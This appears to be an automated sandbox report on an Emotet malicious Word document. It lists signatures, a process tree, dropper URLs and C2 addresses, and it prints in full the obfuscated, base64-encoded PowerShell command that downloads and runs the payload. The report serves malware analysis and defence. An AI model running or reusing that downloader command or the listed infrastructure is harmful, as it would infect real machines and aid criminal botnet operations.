Analysis

  • max time kernel
    136s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    05/09/2020, 01:12

General

  • Target
    Attachments-20200905-Q862.doc
  • Size 231KB
  • Sample200905-4fpxp53672
  • SHA256 22834da2a4895ae43256bc32fc3c6faa89ec4389406f7fd25032bedea74bda9f
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://xn--ruqumz1h0h.com/wp-content/zj/

  • exe.dropper

    http://hemalrathod.com/BillGST/6Y/

  • exe.dropper

    http://ipeconstrutora.com/cgi-bin/Zf/

  • exe.dropper

    http://islamabadtrafficpolice.gov.pk/i/

  • exe.dropper

    http://kogeisha.net/kansaiosakanagasaki-kenjinkai/Rxj/

  • exe.dropper

    http://lalenga.cl/claudio/oMz/

  • exe.dropper

    http://pedantas.eu/wp-snapshots/L/

Extracted

Family
  • emotet

C2
  • 185.215.227.107:443

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 172.104.169.32:8080

  • 68.183.190.199:8080

  • 187.162.248.237:80

  • 82.76.111.249:443

  • 184.66.18.83:80

  • 190.6.193.152:8080

  • 77.238.212.227:80

  • 199.203.62.165:80

  • 188.2.217.94:80

  • 185.94.252.12:80

  • 178.250.54.208:8080

  • 206.15.68.237:443

  • 65.36.62.20:80

  • 216.47.196.104:80

  • 219.92.8.17:8080

  • 213.60.96.117:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Attachments-20200905-Q862.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3748
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:664
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABPADkAMQAzADkAeQA3AD0AKAAnAFUAJwArACgAJwBpACcAKwAnAG4AaQAnACsAJwB6AG0AZAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgBWADoAdQBTAEUAcgBQAFIAbwBmAGkAbABFAFwAaAB1AFoAQwAwAF8AeQBcAEkAVAB2AEMAMwBuAGQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAYABSAEkAVABZAFAAUgBvAHQATwBgAGMAYABPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAnACkAKwAnADEAJwArACgAJwAyACwAJwArACcAIAAnACkAKwAoACcAdABsAHMAMQAxACcAKwAnACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACkAOwAkAE8AYQA4AGwAbgB6AHgAIAA9ACAAKAAnAFIAMQAnACsAKAAnAGoAJwArACcAcgBwADgAJwApACkAOwAkAEwAZQByAGgAcAA1AGMAPQAoACcARgAnACsAKAAnADkAdQAnACsAJwAxACcAKQArACgAJwBwACcAKwAnADAANgAnACkAKQA7ACQASwA0AG0AdAAwAHAAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAFEAUwA4AEgAdQAnACsAJwB6AGMAMAAnACsAJwBfACcAKQArACcAeQAnACsAJwBRAFMAJwArACgAJwA4AEkAdAB2AGMAJwArACcAMwAnACsAJwBuACcAKQArACcAZABRACcAKwAnAFMAOAAnACkALgAiAFIAYABlAGAAUABsAGEAYwBFACIAKAAoACcAUQAnACsAJwBTADgAJwApACwAJwBcACcAKQApACsAJABPAGEAOABsAG4AegB4ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAUAB6AHEAawAxAHgAcAA9ACgAJwBaAHAAJwArACcAcQAnACsAKAAnAG4AYwBkACcAKwAnAHcAJwApACkAOwAkAE0AdAByAGUAdQBrAGgAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBMAEkAZQBOAHQAOwAkAFIAOABqADkAagB3AHkAPQAoACgAJwBoAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwB4ACcAKwAnAG4AJwApACsAKAAnAC0AJwArACcALQByAHUAcQAnACsAJwB1AG0AJwApACsAKAAnAHoAMQBoADAAaAAnACsAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAJwArACcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHoAJwApACsAJwBqACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBoAGUAbQBhAGwAJwApACsAJwByAGEAJwArACgAJwB0AGgAbwBkACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AQgAnACsAJwBpACcAKQArACcAbABsACcAKwAoACcARwBTAFQALwAnACsAJwA2AFkAJwApACsAJwAvACoAJwArACgAJwBoAHQAJwArACcAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwBpACcAKwAnAHAAZQBjAG8AbgBzAHQAJwApACsAKAAnAHIAJwArACcAdQB0ACcAKQArACcAbwByACcAKwAoACcAYQAnACsAJwAuAGMAbwBtACcAKQArACcALwBjACcAKwAnAGcAJwArACcAaQAnACsAJwAtACcAKwAoACcAYgAnACsAJwBpAG4ALwBaAGYAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACcAOgAnACsAKAAnAC8AJwArACcALwBpACcAKQArACcAcwBsACcAKwAoACcAYQBtAGEAYgBhAGQAdAAnACsAJwByACcAKwAnAGEAZgAnACkAKwAoACcAZgBpAGMAJwArACcAcABvACcAKQArACcAbABpACcAKwAoACcAYwBlAC4AJwArACcAZwBvAHYAJwApACsAJwAuAHAAJwArACcAawAnACsAJwAvACcAKwAoACcAaQAvACoAaAB0AHQAcAA6AC8AJwArACcALwBrACcAKwAnAG8AJwArACcAZwBlACcAKQArACgAJwBpAHMAJwArACcAaABhAC4AJwArACcAbgBlACcAKwAnAHQALwBrACcAKQArACcAYQBuACcAKwAoACcAcwBhAGkAbwBzACcAKwAnAGEAJwApACsAKAAnAGsAYQBuAGEAZwBhACcAKwAnAHMAJwApACsAKAAnAGEAJwArACcAawBpAC0AJwArACcAawBlAG4AagBpAG4AJwApACsAKAAnAGsAYQBpAC8AJwArACcAUgB4ACcAKQArACcAagAnACsAJwAvACoAJwArACcAaAB0ACcAKwAoACcAdABwADoALwAnACsAJwAvACcAKwAnAGwAYQAnACsAJwBsAGUAbgAnACkAKwAoACcAZwBhAC4AYwAnACsAJwBsACcAKwAnAC8AYwBsACcAKwAnAGEAdQBkAGkAJwArACcAbwAvAG8AJwApACsAJwBNACcAKwAoACcAegAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAnACsAJwAvAC8AcABlACcAKwAnAGQAYQBuAHQAYQBzACcAKwAnAC4AZQB1ACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQBzACcAKwAnAG4AJwApACsAJwBhACcAKwAoACcAcABzAGgAJwArACcAbwB0ACcAKwAnAHMAJwApACsAKAAnAC8ATAAnACsAJwAvACcAKQApAC4AIgBTAHAAYABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAbgBrAHgAcgByAHEAPQAoACcAUwBfACcAKwAoACcAZgBrAGYAJwArACcAeAB6ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVgBsADAAdQBiAGUAMAAgAGkAbgAgACQAUgA4AGoAOQBqAHcAeQApAHsAdAByAHkAewAkAE0AdAByAGUAdQBrAGgALgAiAGQATwBXAE4ATABvAGAAQQBgAGQARgBpAEwAZQAiACgAJABWAGwAMAB1AGIAZQAwACwAIAAkAEsANABtAHQAMABwAGUAKQA7ACQAVgBwAHkANAAwAHgANQA9ACgAKAAnAFMAbAAnACsAJwBoACcAKQArACgAJwBhAG8AegAnACsAJwBoACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEsANABtAHQAMABwAGUAKQAuACIAbABgAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAMgA0ADUANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABLADQAbQB0ADAAcABlACkAOwAkAFAAYwBiAHoAaQA1AGUAPQAoACcAQgAnACsAKAAnAHUAMgBzACcAKwAnAGYAJwApACsAJwBhAG4AJwApADsAYgByAGUAYQBrADsAJABHAHUAeABxADQAYQBiAD0AKAAoACcATQA5ACcAKwAnAGcAJwApACsAJwBqACcAKwAoACcAcQAnACsAJwBhAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAMAB1AHUAeABzAHcAPQAoACcATgAnACsAKAAnAHYAJwArACcAOABjAGQAJwApACsAJwBsAHUAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2056
    • C:\Users\Admin\Huzc0_y\Itvc3nd\R1jrp8.exe
      "C:\Users\Admin\Huzc0_y\Itvc3nd\R1jrp8.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\SysWOW64\sas\shutdown.exe
        "C:\Windows\SysWOW64\sas\shutdown.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1140

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1140-17-0x0000000002200000-0x000000000220C000-memory.dmp

        memory/1140-16-0x00000000020E0000-0x00000000020ED000-memory.dmp

        memory/2056-6-0x00007FFAB8A70000-0x00007FFAB945C000-memory.dmp

        memory/2056-7-0x0000022343250000-0x0000022343251000-memory.dmp

        memory/2056-8-0x000002235B670000-0x000002235B671000-memory.dmp

        memory/2072-12-0x0000000002250000-0x000000000225D000-memory.dmp

        memory/2072-13-0x0000000002260000-0x000000000226C000-memory.dmp

        memory/3748-5-0x000001FA4053A000-0x000001FA4053F000-memory.dmp

        memory/3748-0-0x00007FFAC5E90000-0x00007FFAC6556000-memory.dmp

        memory/3748-4-0x000001FA40535000-0x000001FA4053A000-memory.dmp

        memory/3748-3-0x000001FA4053A000-0x000001FA4053F000-memory.dmp

        memory/3748-2-0x000001FA4053A000-0x000001FA4053F000-memory.dmp

        memory/3748-1-0x000001FA3E469000-0x000001FA3E47C000-memory.dmp